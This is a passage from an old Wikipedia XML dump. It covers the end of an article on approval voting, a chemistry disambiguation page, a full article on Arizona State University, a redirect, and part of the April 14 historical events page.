One study showed that approval voting would not have chosen the same two winners
as plurality voting (Chirac and Le Pen) in [[French_presidential_election%2C_2002|France's presidential election of 2002]] (first round) - it instead would have
chosen Chirac and Jospin.  This seems a more reasonable result since Le Pen was a radical who
lost to Chirac by an enormous margin in the second round.{{fact}}

==Other issues and comparisons==
Advocates of approval voting often note that a single simple ballot can serve for single, multiple, or negative choices.  It requires the voter to think carefully about who or what they really accept, rather than trusting a system of tallying or compromising by formal ranking or counting. Compromises happen but they are explicit, and chosen by the voter, not by the ballot counting.
Some features of approval voting include:
*Unlike [[Condorcet method]], [[instant-runoff voting]], and other methods that require ranking candidates, approval voting does not require significant changes in ballot design, voting procedures or equipment, and it is easier for voters to use and understand.  This reduces problems with mismarked ballots, disputed results and recounts.
*It provides less incentive for [[negative campaigning]] than many other systems, though the same incentive as [[instant runoff voting]], [[condorcet method]], and [[Borda count]].
*It allows voters to express [[tolerances versus preferences|tolerances but not preferences]]. Some political scientists consider this a major advantage, especially where acceptable choices are more important than popular choices. 
*Each voter may vote as many times as they wish, at most once per candidate.   This is equivalent to saying that each voter may ''approve'' or ''disapprove'' each candidate by voting or not voting for them, and it's also equivalent to voting +1 or 0 in a [[range voting]] system.
*It is easily reversed as [[disapproval voting]] where a choice is disavowed, as is already required in other measures in politics (e.g. representative [[recall election|recall]]).
*In contentious elections with a super-majority of voters who prefer their favorite candidate vastly over all others, approval voting tends to revert to [[plurality voting]].  Some voters will support only their single favored candidate when they perceive the other candidates to be poor compromises.
*Approval voting fails the [[majority criterion]], so that the favorite candidate of a majority can fail to be elected.

However strategy issues of candidate list order if voters are not fully aware and reflective of the full set of candidates before any votes are cast.)

===Multiple winners===
Approval voting can be extended to multiple winner elections, either as ''block approval voting'', a simple variant on [[block voting]] where each voter can select an unlimited number of candidates and the candidates with the most approval votes win, or as ''[[proportional approval voting]]'' which seeks to maximise the overall satisfaction with the final result using approval voting.  That first system has been called minisum to distinguish it from minimax, a system which uses approval ballots and aims to elect the slate of candidates that differs from the least-satisfied voter's ballot as little as possible.

===Relation to effectiveness of choices===
[[Operations research]] has shown that the effectiveness of a policy and thereby a leader who sets several policies will be [[Logistic function|sigmoidally]] related to the level of approval associated with that policy or leader.  There is an acceptance level below which effectiveness is very low and above which it is very high.  More than one candidate may be in the effective region, or all candidates may be in the ineffective region.  Approval voting attempts to ensure that the most-approved candidate is selected, maximizing the chance that the resulting policies will be effective.

==Ballot types==
Approval ballots can be of at least four semi-distinct forms. The simplest form is a blank ballot where the names of supported candidates is written in by hand. A more structured ballot will list all the candidates and allow a mark or word to be made by each supported candidate. A more explicit structured ballot can list the candidates and give two choices by each. (Candidate list ballots can include spaces for write-in candidates as well.)
{| BORDER
|-
| [[Image:Approvalballotname.png|160px]]
| [[Image:Approvalballotword.png|160px]]
| [[Image:Approvalballotmark.png|160px]]
| [[Image:Approvalballotchoice.png|160px]]
|}

All four ballots are interchangeable. The more structured ballots may aid voters in offering clear votes so they explicitly know all their choices. The Yes/No format can help to detect an &quot;undervote&quot; when a candidate is left unmarked, and allow the voter a second chance to confirm the ballot markings are correct.

==See also==
*[[List of democracy and elections-related topics]]
*[[Borda count]]
*[[Bucklin voting]]
*[[First Past the Post electoral system]] (also called Plurality or Relative Majority)
*[[Condorcet method]]
*[[Schulze method]]
*[[Instant-runoff voting]]
*[[Majority Choice Approval]]
*[[Range voting]]
*[[Voting system]] - many other ways of voting

==References==
&lt;references/&gt;

==External links==
*[http://approvalvoting.org/ Citizens for Approval Voting]
*[http://approvalvoting.com/ Americans for Approval Voting]
*[http://av.beyondpolitics.org/ Approval Voting Free Association Wiki]
*[http://alum.mit.edu/ne/whatmatters/200211/index.html Approval Voting: A Better Way to Select a Winner] Article by Steven J. Brams. 
*[http://pareto.uab.es/wp/2004/61904.pdf Approval Voting on Dichotomous Preferences] Article by Marc Vorsatz.
*[http://pareto.uab.es/wp/2004/61704.pdf Scoring Rules on Dichotomous Preferences] Article by Marc Vorsatz.
*[http://www.lse.ac.uk/collections/VPP/VPPpdf_Wshop2/jflkvdscaen.pdf Approval Voting: An Experiment during the French 2002 Presidential Election] Article by Jean-François Laslier and Karine Vander Straeten.
*[http://www.universalworkshop.com/pages/ArithmeticOfVoting.htm The Arithmetic of Voting] article by Guy Ottewell
*[http://www.nyu.edu/gsas/dept/politics/faculty/brams/avcritical.pdf Critical Strategies Under Approval Voting: Who Gets Ruled In And Ruled Out] Article by Steven J. Brams and M. Remzi Sanver.
*[http://www.nyu.edu/gsas/dept/politics/faculty/brams/theory_to_practice.pdf Going from Theory to Practice:The Mixed Success of Approval Voting]  Article by Steven J. Brams and Peter C. Fishburn.
*[http://www.vcharite.univ-mrs.fr/idep/document/dt/dt0405.pdf Strategic approval voting in a large electorate] Article by Jean-François Laslier. 
*[http://www.williams.edu/Economics/oak/Papers/approval.pdf Approval Voting with Endogenous Candidates] An article by Arnaud Dellis and Mandor P. Oak.
*[http://www.math.hmc.edu/seniorthesis/archives/2003/duminsky/duminsky-2003-thesis.pdf Generalized Spectral Analysis for Large Sets of Approval Voting Data] Article by David Thomas Uminsky.
*[http://www.sas.upenn.edu/~baron/vote.pdf Approval Voting and Parochialism] Article by Jonathan Baron, Nicole Altman and Stephan Kroll.
*[http://www.gregdennis.com/voting/approval_conversation.html Conversation with an Approval Voting Advocate] Article by Greg Dennis

[[Category:Voting systems]]

[[de:Wahl durch Zustimmung]]
[[eo:Aprobobalotado]]
[[fr:Vote par approbation]]
[[nl:Instemmingsverkiezing]]
[[ja:Approval voting]]
[[pt:Votação por aprovação]]
[[fi:Hyväksymisvaalitapa]]
[[ur:ویکیپیڈیا:ویکیپیڈیا فائونڈیشن کے بورڈ آف ٹروٹیز کے انتخابات]]</text>
    </revision>
  </page>
  <page>
    <title>Aromatic compound</title>
    <id>1858</id>
    <revision>
      <id>38069213</id>
      <timestamp>2006-02-03T23:32:40Z</timestamp>
      <contributor>
        <username>V8rik</username>
        <id>195918</id>
      </contributor>
      <minor />
      <comment>revert, historically aroma may be associated with aromatic, in any case deleting this context has implications for disamb status for this page</comment>
      <text xml:space="preserve">'''Aromatic compound''' has different meanings depending on the context:
* [[Aroma compound]], a [[chemical compound]] possessing an aroma, fragrance, flavor, smell, or [[odor]]. 
* [[Aromatic]] compound, an [[Organic chemistry|organic]] [[chemical compound]] that contains [[simple aromatic ring|aromatic rings]] like [[benzene]], [[pyridine]], or [[indole]].  These compounds exhibit an unusual stability known as [[aromaticity]], which can be understood using [[Hückel's rule]].  The term ''aromatic'' in chemistry is no longer associated with ''aroma'', and many aromatic compounds have no smell.

{{disambig}}

[[Category:Organic chemistry]]

[[es:Compuesto aromático]]
[[fr:Composé aromatique]] [[ja:&amp;#33459;&amp;#39321;&amp;#26063;&amp;#21270;&amp;#21512;&amp;#29289;]]
[[vi:Hợp chất thơm]]</text>
    </revision>
  </page>
  <page>
    <title>Arizona State University</title>
    <id>1859</id>
    <revision>
      <id>42048404</id>
      <timestamp>2006-03-03T13:04:59Z</timestamp>
      <contributor>
        <username>Ewlyahoocom</username>
        <id>241538</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Assembly]] to [[Deliberative assembly]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Infobox_University 
|name           = Arizona State University 
|image          = [[Image:asu.jpg]] 
|motto          = 
|established    = 1885 
|type           = [[Public university|Public]] 
|president= [[Michael Crow]] 
|city           = [[Tempe, Arizona|Tempe]] 
|state          = [[Arizona|Arizona]] 
|country        = [[United States|USA]] 
|undergrad      = 48,955 
|postgrad       = 12,078 
|staff= 2,406 
|endowment      = US$277.3 million (2005 report)
|campus         = [[Urban design|Urban]], 580 acres (2.3 km&amp;sup2;)
|mascot         = [[Sparky (Arizona State Mascot)|Sparky]] [[Image:Arizona-state-sund.gif|30px|]] 
|free_label     = Athletics 
|free           = 18 varsity teams 
|website= [http://www.asu.edu/ www.asu.edu]
}}
'''Arizona State University''' (ASU) is currently (as of Fall 2005) the [[List of largest US universities by enrollment|largest university]], in terms of student enrollment, in the [[United States]], with a main-campus student body of 51,612. Founded in 1885 as a territorial [[normal school]], the institution went through several changes of name and purpose before becoming a state [[university]] in 1958.

ASU's main campus, now called the Tempe campus, is located in [[Tempe, Arizona|Tempe]], [[Arizona]].  Satellite campuses were created in 1984 in [[Phoenix, Arizona|Phoenix]] ([[ASU West]]) and in 1996 in [[Mesa, Arizona|Mesa]] ([[ASU Polytechnic]], formerly called ASU East).  Combined, [[ASU West]] and [[ASU Polytechnic]] enroll around 12,500 students.  An additonal satellite campus, [[ASU Downtown Phoenix]], is under development in downtown [[Phoenix, Arizona|Phoenix]].

Each year, nearly 10,000 students graduate from the university's three campuses. In 2005, 155 National Merit Scholars chose to attend ASU. Many are part of the Barrett Honors College, which has produced 54 [[Fulbright Program|Fulbright]] scholars, 28 [[Barry Goldwater|Goldwater]] scholars, and 13 [[Harry Truman|Truman]] scholars. Under the [[Carnegie Classification of Institutions of Higher Education]] ASU is classified as a Doctoral/Research University&amp;#8211;Extensive.

==Current State of the University==
&lt;!-- Image with unknown copyright status removed: [[Image:Asu_campus.jpg|thumb|right|The campus of Arizona State University in Tempe, Arizona, viewed from the air in July 2004.  Sun Devil Stadium can be viewed in the bottom-right, Wells Fargo Arena in the center, and Gammage Auditorium, designed by Frank Lloyd Wright, in the top-right corner. Photo courtesy of, and obtained from, [http://www.incredibleeagle.com/ Geoff Boeing]] --&gt;'''ASU''' is currently aspiring to climb from its current third tier status in the rankings published by ''[[U.S. News and World Report]]''.

Under the leadership of its 16th president, [[Michael Crow]], several initiatives are being pursued toward this end, the most notable of which is the [[Arizona Biodesign Institute]].  Additionally, a gift of $100 million was given to the College of Engineering, now the [[Ira A. Fulton School of Engineering]], and a $50 million dollar gift to the College of Business, now the [[W.P. Carey School of Business]].

The university was selected to host the third United States Presidential debate on October 13, 2004 at Gammage Auditorium.  [[Edward Prescott]] of the [[W.P. Carey School of Business]] was awarded the 2004 [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel]] (also known as The Nobel Prize in Economics), a first for an ASU faculty member. At the end of the 2004, [[George Poste]], director of the Arizona Biodesign Institute, was named Scientist of the Year by ''R&amp;D Magazine.''

==Academics==
Many of ASU's departments were ranked in the top 50 by [[US News and World Report]] in 2005.

The College of Education [http://coe.asu.edu] was ranked 35th in the nation in 2005. Its program in counseling was ranked 12th in the nation, and its Education Policy Studies [http://coe.asu.edu/elps/] doctoral program was ranked 15th. Six out of nine of the College's  specialty programs were ranked in the top 20.

The following graduate departments in [[engineering]] were listed with their respective rankings (out of 300+ institutions):
*[[Electrical Engineering]]: 29th
*[[Aerospace]]/[[Aeronautical Engineering]]: 25th
*[[Biomedical]]/[[Bioengineering]]: 20th
*[[Chemical Engineering]]: 50th
*[[Civil Engineering]]: 41st
*[[Computer Engineering]]: 34th
*[[Industrial Engineering]]: 15th
*[[Mechanical Engineering]]: 37th

The [[W.P. Carey School of Business]] MBA program was ranked 31st and the undergraduate [[business]] program ranked 25th. Graduate business programs listed are as follows (out of 300+ institutions):
*[[Supply Chain Management]]: 5th
*[[Computer Information systems]]: 18th
*[[Production]]/[[operations]]: 21st
*[[Accounting]]: 26th
*[[Management]]: 28th

The [[College of Architecture and Environmental Design]] is reputedly rigorous and highly ranked. An annual event for the [[Walter Cronkite School of Journalism]] is a visit from [[Walter Cronkite]] himself to award the distinguished Cronkite Award.

==Extracurriculars==
[[Image:198557795wVVdGH ph.jpg|thumb|left|250px|Arizona State University is adorned with towering Mexican Fan Palms along its main walkway, Palm Walk. (Photo taken from the Bateman Physical Sciences Center, looking toward the Student Health Center)]]Arizona State University has an active [[extracurricular]] involvement program (Sun Devil Involvement Center) with over 450 registered clubs and organizations on campus. Located on the 3rd floor of the [[Memorial Union]], the Sun Devil Involvement Center (SDIC) provides opportunities for student involvement through [[clubs]], [[sororities]], [[fraternities]], [[community service]], [[leadership]], [[student government]], and [[co-curricular]] programming. 

In 2003 the Student Government adopted a new [[Constitution]] under the oversight of several individuals that split it into 3 branches; &quot;[[Undergraduate]]&quot;, &quot;[[Graduate Student|Graduate]]&quot;, and the &quot;Programming and Activities Board&quot;. All three branches are overseen by a [[Supreme Court]]. A [[Senate]] and [[Executive (government)|Executive]] department are set aside for the [[Undergraduate]] branch, and an [[Deliberative assembly|Assembly]] and [[Executive (government)|Executive]] department are set aside for the [[Graduate Student|Graduate]] branch. The [[Senate]] and [[Deliberative assembly|Assembly]] have representatives from all colleges on campus, providing a critical forum for the discussion and resolution of issues that come before the student body.

''ASU Cares'' is the largest community service project sponsored by the university. It is an annual event that allows students to give back some time by helping residents and communities clean up, rebuild, and/or serve eachother. Faculty, staff, alumni, members of the community and their families and guests are also invited to be part of this large ASU effort to help residents of the various communities surrounding the metropolitan area.

The Freshman Year Experience (FYE) and the [[Fraternities and sororities|Greek]] community (Greek Life) at Arizona State University have been important in binding students to the university, and providing social outlets. The Freshman Year Experience at Arizona State University was developed to improve the freshman experience at Arizona State University and increase student retention figures. FYE provides advising, computer labs, free walk-in tutoring, workshops, and classes for students. In 2003, ''[[U.S. News and World Report]]'' ranked FYE as the 23rd best first year program in the nation. It has also been recognized as one of the best in both public and private universities by the ''Chronicle of [[Higher Education]]''.

In student media, ''The Blaze 1260 AM'' is the student run radio station at Arizona State University, while [[Sun Devil Television|Sun Devil Television (SDTV)]] is the student run television station.

==Athletics==
ASU is a member of the [[Pacific Ten Conference|Pac-10]] athletic 
conference. Athletes, students, and alumni of ASU are known as &quot;Sun Devils,&quot; a nickname adopted in 1946; earlier nicknames were the Normals or the Owls and, later, the Bulldogs. The nickname was said to have come from an article in the newspaper in which the writer said the quote &quot;Lets call them Sun Devils,&quot; and the name eventually caught on the with the university. The Sun Devil mascot, Sparky, was designed by [[The Walt Disney Company|Disney]] illustrator [[Bert Anthony]].  The ASU fight song is [[Maroon and Gold]], named for the school's colors.  ASU's chief rival is the [[University of Arizona]].

ASU's football venue is named [[Sun Devil Stadium]].  Notable athletic alumni include baseball players [[Barry Bonds]], [[Paul Lo Duca]], [[Fernando Viña]] and [[Reggie Jackson]], football players [[Jake Plummer]], [[Todd Heap]], [[Danny White]], [[Terrell Suggs]], [[David Fulcher]], [[Darren Woodson]], and [[Pat Tillman]], basketball players [[Byron Scott]], [[Ike Diogu]] and [[Eddie House]], golfer [[Phil Mickelson]], and announcer [[Al Michaels]].

ASU is arguably one of the most successful baseball programs in the country.  They have won five national championships, the third most by any school, and have the third most alumni to ever play in [[Major League Baseball]].

ASU won national championships in men's archery 15 times, women's archery 21 times, mixed archery 20 times, men's badminton 13 times, women's badminton 17 times, mixed badminton 10 times, baseball 5 times, women's tennis 3 times, men's gymnastics once, men's track and field once, wrestling once, men's golf twice, women's golf 13 times, women's softball twice, and women's swimming and diving 7 times, for a total of 129 national championships.  Additionally, the men's basketball team has participated in 12 [[NCAA]] tournaments and the football team won the [[Rose Bowl (game)|Rose Bowl]] in 1986 as well as the [[Fiesta Bowl]] in 1982, [[1975]], [[1973]], [[1972]], and 1971.

===Football===
The Sun Devils played in the [[Border Intercollegiate Athletic Association|Border Conference]] between 1931 and 1961, before joining the [[Western Athletic Conference]] the following year. Led by legendary head coach [[Frank Kush]], the Sun Devils posted a remarkable 62-9 record between 1970 and 1975, culminating in a 17-14 upset of the [[University of Nebraska-Lincoln|Nebraska Cornhuskers]] in the 1975 Fiesta Bowl.

In 1978, both ASU and the [[University of Arizona]] joined the Pacific Ten Conference, and in that year ASU celebrated with an emotional 20-7 victory over number-one-ranked [[University of Southern California]]. The Sun Devils then began a slow decline, interrupted only briefly by victories in the 1983 Fiesta Bowl and 1987 Rose Bowl. After a 1987 [[Freedom Bowl]] victory over [[United States Air Force Academy|Air Force]], the Sun Devils went a combined 43-44-1 between 1988 and 1995.

In 1996, the Sun Devils went a surprising 11-1, highlighted by a 19-0 shutout of the number-one-ranked [[University of Nebraska-Lincoln|Nebraska Cornhuskers]] in Tempe. ASU quarterback [[Jake Plummer]] led the Sun Devils, propelling Arizona State into the Rose Bowl against the [[Ohio State Buckeyes]]. In a game with [[NCAA Division I-A national football championship|National Championship]] potential, the Sun Devils held a slim 17-14 lead with 1:47 left in the fourth quarter, but surrendered a late touchdown to Ohio State, falling by a final score of 20-17. 

Between 1997 and 2000, the Sun Devils underachieved greatly, leading to the dismissal of popular head [[American football|football]] coach [[Bruce Snyder]]. The hiring of head coach [[Dirk Koetter]] from [[Boise State University]] gave the Sun Devils a charismatic leader with a penchant for molding strong quarterbacks.

Arizona State began the Dirk Koetter era with a thud, falling to 4-7 in 2001. However, ASU improved to 8-6 in 2002, highlighted by the play of defensive end [[Terrell Suggs]] and wide receiver [[Shaun McDonald]]. Quarterback [[Andrew Walter]] emerged to pass for a staggering 3,877 yards and 28 touchdowns. The Sun Devils eventually lost a nailbiter to [[Kansas State University]] in the 2003 [[Holiday Bowl]].

In 2004, the Sun Devils surprised nearly everyone, jumping out to a 5-0 record (including an impressive 44-7 victory over Iowa in Tempe). [[Andrew Walter]] led the suddenly resurgent Sun Devils, passing for 1,249 yards and 15 TDs through five games. This set up an attractive matchup between ASU and [[University of Southern California|Southern California]] in [[Los Angeles]] on October 16, 2004, which they lost.  After a dramatic come from behind victory over Stanford University and a win over Washington State in a game in which ASU retired Pat Tillman's number, they ended up losing to rival University of Arizona.  ASU won the Vitalis [[Sun Bowl]] over Purdue, 27-23, on New Year's Eve.

2005 brought a 6-5 record. The Sun Devils narrowly lost to [[Louisiana State University]] in that school's first game after [[Hurricane Katrina]]. Another narrow loss to USC was emotional, considering the Sun Devils led at the half. However, the school was still looking forward to a BCS bowl until [[Stanford University]] upset the Devils, which cost the school its national ranking. The wins over Washington State and Washington were unable to get back the ranking. In a thrilling 23-20 victory over archrival Arizona, the Sun Devils clinched a berth in, and eventually won, the [[Insight Bowl]] against [[Rutgers]].

===Softball===
One of the nation's founding programs, the Sun Devils are in their 39th season on the diamond in Tempe. ASU holds a 1,039-561-1 (.649) all-time record since the 1967 team posted a 5-1 record. ASU has recorded 23 season of at least 30 wins and six with 40 or more victories, including an all-time high of 46 in 2002. The Sun Devils have earned 16 postseason bids, fourth all-time in the Pac-10 Conference, and has made four trips to the [[College World Series]]. Prior to the current NCAA format, ASU went to seven WCWS, claiming back-to-back national tiles in 1972 and 1973.

Arizona State's storied tradition of softball excellence continues to flourish under the tutelage of 16th-year head coach [[Linda Wells]], one of the most prominent and successful coaches in NCAA history. Wells, who is currently the 7th-most successful active coach in NCAA Division I history with 907 victories (9th all-time), has led the Sun Devils to 11 (seven consecutive 1997-03) NCAA Regional appearances in 15 seasons, including two trips in the past six years to the College World Series (1999/2002). While at ASU, Wells has compiled a record of 554-394 and has had seven players earn a total of 12 All-American awards. Her 554 wins are the most victories all-time in ASU's storied 39-year history, surpassing coaching legend Mary Littlewood's 536. Wells earned the victory with a 3-2 win over Sacramento State (2/13/05). Wells' vast coaching experience and tireless work ethic has not gone unnoticed by the country or by the world as she was named the head coach of the Greek Olympic National Team that competed in the 2004 Olympic Games in Athens. Wells has coached 35 career .300 hitters at ASU in her 15 seasons, averaging a combined .335 -- not an easy accomplishment in the pitching-rich Pac-10 where games are traditionally low scoring, and with the addition of three more All-Pac-10 selections in 2004, Wells has now coached 75 all-conference players during her tenure at Arizona State, averaging five All-Pac-10 selections every season.

==Famous alumni and former students==
''see also [[:Category:Arizona State University alumni]]''

*[[Steve Allen]] - writer, comedian, musician
*[[Adam Archuleta]] - [[National Football League|NFL]] player
*[[Sal Bando]] - former [[Major League Baseball|MLB]] player
*[[Barry Bonds]] - [[Major League Baseball|MLB]] player
*[[Amanda Borden]] - [[1996 Summer Olympics]] team gold medal winner in [[gymnastics]]
*[[Amanda Brown]] - author of [[Legally Blonde]]
*[[William P. Carey]] - founder and chairman of [[W. P. Carey &amp; Co. LLC]]
*[[Henry Carr]] - winner of two gold medals at the [[1964 Summer Olympics]]
*[[Paul Casey]] - professional golfer
*[[Christopher J. Cohan]] - founder, Sonic Communications; owner, [[Golden State Warriors]]
*[[Eric Crown]] - chairman of the board and co-founder, [[Insight Enterprises]]
*[[Ed Dee]] - author
*[[Doug Ducey]] - president and CEO of [[Cold Stone Creamery]]
*[[Ike Diogu]] - [[National Basketball Association|NBA]] player
*[[Mike Esposito]] - [[Major League Baseball]] pitcher for the [[Colorado Rockies]].
*[[Andre Ethier]] - [[outfielder]] with the [[Los Angeles Dodgers]] of [[MLB]].
*[[David Fulcher]] - former National Football League [[defensive back]]
*[[Ira Fulton]] - businessman
*[[Jack D. Furst]] - private equity
*[[Larry Gura]] - former All-Star [[Major League Baseball|MLB]] pitcher, played for the [[Chicago Cubs]], [[New York Yankees]], and [[Kansas City Royals]].
*[[Todd Heap]] - [[National Football League|NFL]] player
*[[Cecil Heftel]] - founder Heftel Broadcasting; former U.S. Representative
*[[Doug Hopkins]] - former lead guitarist and principal songwriter, [[Gin Blossoms]]
*[[Eddie House]] - [[National Basketball Association|NBA]] player
*[[Reggie Jackson]] - former [[Major League Baseball|MLB]] player, member of the [[Baseball Hall of Fame]]
*[[Paul Justin]] - retired [[National Football League]] quarterback
*[[Jimmy Kimmel]] - talk-show host and comedian
*[[Bill Leen]] - bass player, [[Gin Blossoms]]
*[[Paul Lo Duca]] - [[Major League Baseball|MLB]] player
*[[Billy Mayfair]] - professional golfer
*[[Al Michaels]] - television broadcaster
*[[Phil Mickelson]] - professional golfer
*[[Ed Pastor]] - U.S. Congressman
*[[Ken Phelps]] - radio broadcaster, former [[Major League Baseball|MLB]] player 
*[[Jake Plummer]] - [[National Football League|NFL]] player
*[[Robert Rey]] - plastic surgeon, television personality
*[[Rick Rosenthal]] - KPMG
*[[Matt Salmon]] - former gubernatorial candidate for Arizona
*[[Byron Scott]] - head coach, [[New Orleans Hornets]]; former [[National Basketball Association|NBA]] player
*[[Courtney Simpson]] - [[Erotic actress]]
*[[David Spade]] - comedian
*[[Kate Spade]] - fashion designer
*[[Paul Spudis]] - geologist and lunar scientist
*[[Phillippi Sparks]] - former [[National Football League|NFL]] player
*[[Terrell Suggs]] - [[National Football League|NFL]] player
*[[Pat Tillman]] - former [[National Football League|NFL]] player; [[United States Army|US Army]] Corporal
*[[Andrew Walter]] - [[National Football League|NFL]] player
*[[Danny White]] - former [[National Football League|NFL]] player and [[Arena Football League]] coach

==Notable faculty and staff==

* [[David Berliner]] - Professor, College of Education
*[[Phil Christensen]]
* [[Samuel A. DiGangi]] - Professor, College of Education; Assistant Vice Provost, Information Technology
*[[Robert &quot;Coach&quot; Fleming]] - Professor of music, associate director of bands and director of the ASU Sun Devil Marching Band
*[[Donald Johanson]] - Director, Institute of Human Origins; discovered 3.18 million year old fossil hominid &quot;Lucy&quot; in Ethiopia
*[[Dirk Koetter]] - Head Football Coach
*[[Richard Lerman]] - Professor, Interdisciplinary Arts and Performance
*[[Robert E. Mittelstaedt]] - Dean, [[W.P. Carey School of Business]]
*[[Pat Murphy_(baseball coach)| Pat Murphy]] - Head Baseball Coach
* Baltazar Nunez - Magnaflow Senior Planner
*[[George Poste]]
*[[Edward C. Prescott]] - Professor, [[W.P. Carey School of Business]]; awarded the 2004 Nobel Prize in Economics
*[[Stephen J. Pyne]] - Professor, School of Life Sciences
*[[Morris Starsky]] - Former Professor, Philosophy
*[[Claudia Zapata]] - ECE 100

==External links==
* [http://www.asu.edu ASU Web site]
* [http://www.thesundevils.com Official Sun Devil athletics site]
* [http://www.wireddevils.com Wired Devils]
* [http://www.michigan-football.com/ncaa/f/arzstate.htm Arizona State Sun Devils Historical Football Records]
* [http://sports.espn.go.com/ncaa/clubhouse?collegeId=9&amp;sport=ncf ESPN.com - Clubhouse (Arizona State)]
* [http://www.asu.edu/ASASU ASU's Student Government]
* [http://www.theblaze1260.com The Blaze 1260 AM, student radio station]
* [http://www.asuband.org The ASU Sun Devil Marching Band website]
* [http://www.law.asu.edu ASU College of Law website]
{{Pacific Ten Conference}}
{{Colleges and Universities in Arizona}}

[[Category:Pacific Ten Conference]]
[[Category:Universities and colleges in Arizona]]
[[Category:Arizona State University|*]]
[[Category:Sports in Phoenix, Arizona]]

[[de:Arizona State University]]
[[ja:アリゾナ州立大学]]
[[sv:Arizona State University]]</text>
    </revision>
  </page>
  <page>
    <title>Astoria Oregon</title>
    <id>1860</id>
    <revision>
      <id>15900322</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Astoria, Oregon]]
</text>
    </revision>
  </page>
  <page>
    <title>April 14</title>
    <id>1862</id>
    <revision>
      <id>41597544</id>
      <timestamp>2006-02-28T11:34:59Z</timestamp>
      <contributor>
        <username>Valentinian</username>
        <id>256198</id>
      </contributor>
      <comment>/* Events */ 1864: Updated the link. More npov version.</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=14}}
|}
'''April 14''' is the 104th day of the year in the [[Gregorian calendar]] (105th in [[leap year]]s). There are 261 days remaining.
==Events==
*[[43 BC]] - [[Battle of Forum Gallorum]]. [[Mark Antony]], besieging [[Julius Caesar]]'s assassin [[Decimus Junius Brutus]] in [[Mutina]], defeats the forces of the [[consul]] [[Gaius Vibius Pansa Caetronianus|Pansa]], who is killed.
*[[69]] - [[Vitellius]], commander of the Rhine armies, defeats [[Roman Emperor|Emperor]] [[Otho]] in the [[Battle of Bedriacum]] and seizes the throne.
*[[1028]] - [[Henry III, Holy Roman Emperor|Henry III]], son of Conrad, was elected king of the [[Germany|Germans]].
*[[1205]] - [[Battle of Adrianople (1205)|Battle of Adrianople]] between [[Bulgars]] and [[Crusades|Crusaders]].
*[[1450]] - [[Battle of Formigny]]. French attack and nearly annihilate English, ending English domination in northern France.
*[[1471]] - In [[England]], the Yorkists under [[Edward IV of England|Edward IV]] defeated the Lancastrians under Warwick at the battle of Barnet; the Earl of Warwick was killed and Edward IV resumed the throne.
*[[1632]] - [[Battle of Rain]], [[Sweden|Swedes]] under [[Gustavus Adolphus of Sweden|Gustavus Adolphus]] defeat the [[Holy Roman Empire]] during the [[Thirty Years' War]]. 
*[[1775]] - The first [[abolition]] society in the [[North America]] was established. The &quot;[[Society for the Relief of Free Negroes Unlawfully Held in Bondage]]&quot; was organized in Philadelphia by [[Benjamin Franklin]] and Benjamin Rush.
*[[1828]] - [[Noah Webster]] copyrights the first edition of his [[dictionary]].
*[[1849]] - [[Hungary]] declared itself independent of [[Austria]] with Louis Kossuth as its leader.
*[[1860]] - The first [[Pony Express]] rider reaches [[Sacramento, California]].
*[[1864]] - [[Battle of Dybbøl]]: A Prussian-Austrian army defeats Denmark and gains control of [[Duchy of Schleswig|Schleswig]]. Denmark surrenders the province in the following peace settlement.
*[[1865]] - [[Abraham Lincoln]] is shot by [[John Wilkes Booth]]; he dies the next day.
*[[1890]] - The [[Pan-American Union]] was founded by the First International Conference of American States at their meeting in Washington. Known originally as the International Bureau of American Republics, William Elleroy Curtis became its first director.
*[[1894]] - [[Thomas Edison]] demonstrates the [[kinetoscope]], a device for peep-show viewing using [[photograph]]s that flip in sequence, a precursor to [[film|movie]]s.
*[[1910]] - [[President of the United States|President]] [[William Howard Taft]] becomes the first president to throw out the first [[baseball]] on opening day.
*[[1912]] - The British ocean liner [[RMS Titanic|RMS ''Titanic'']] strikes an iceberg in the North Atlantic on its maiden voyage, plunging beneath the waves and taking with it over 1,500 lives at about 2:20 a.m. the following morning.  
*[[1915]] - The [[Ottoman Empire|Turk]]s invaded [[Armenia]].
*[[1927]] - The first [[Volvo]] 'Rolls' off the assembly line in [[Gothenburg]], [[Sweden]].
*[[1931]] - [[Spain|Spanish]] [[Cortes Generales|Cortes]] deposes King [[Alfonso XIII of Spain|Alfonso XIII]] and proclaims the [[Second Spanish Republic|2nd Spanish Republic]].
*[[1935]] - &quot;Black Sunday&quot;, the worst dust storm of the [[Dust Bowl]].
*1935 - [[Babe Ruth]] played his first [[National League]] game in [[Fenway Park]] in [[Boston, Massachusetts]]. He was playing for the Boston Braves, not his old team the Red Sox, in this, his last year of pro ball in the major leagues. In this season, Ruth played 28 games, getting 13 hits and six home runs, before retiring.
*[[1940]] - [[Royal Marines]] land in [[Namsos]], Norway, occupying key points, preparatory to a larger force arriving two days later.
*[[1941]] - World War II: The [[Ustashe]], a [[Croatian]] [[far-right]] organisation which pursued nazi/fascist policies, was put in charge of the [[Independent State of Croatia]] by the [[Axis Powers]]after the invasion of [[Yugoslavia]] on April 6 during Operation Castigo
*[[1944]] - Huge explosion rocks the [[Bombay]] [[harbour]] killing 300 and causing a loss of 20 million pounds at that time. See: [[Bombay Explosion (1944)]].
*[[1956]] - [[Videotape]] is first demonstrated at the 1956 NARTB (now [[National Association of Broadcasters|NAB]]) convention in [[Chicago, Illinois]].  It was the demonstation of the first practical and commercially successful format called [[2&quot; Quadruplex]].
*[[1962]] - [[Georges Pompidou]] becomes Prime Minister of [[France]].
*[[1964]] - A [[Delta rocket]]'s third-stage motor prematurely ignites in an assembly room at [[Cape Canaveral]], killing 3.
*[[1965]] - ''[[In Cold Blood]]'' killers Richard Hickock and Perry Smith, convicted of murdering four members of the Herbert Clutter family of [[Holcomb, Kansas]], are executed by hanging at the Kansas State Penitentiary For Men in [[Lansing, Kansas]].
*[[1969]] - At the [[Academy Awards]], a tie between [[Katharine Hepburn]] and [[Barbra Streisand]] results in the two sharing the [[Academy Award for Best Actress|Best Actress Oscar]]; Hepburn also becomes the only actress to win three Best Actress Oscars.  
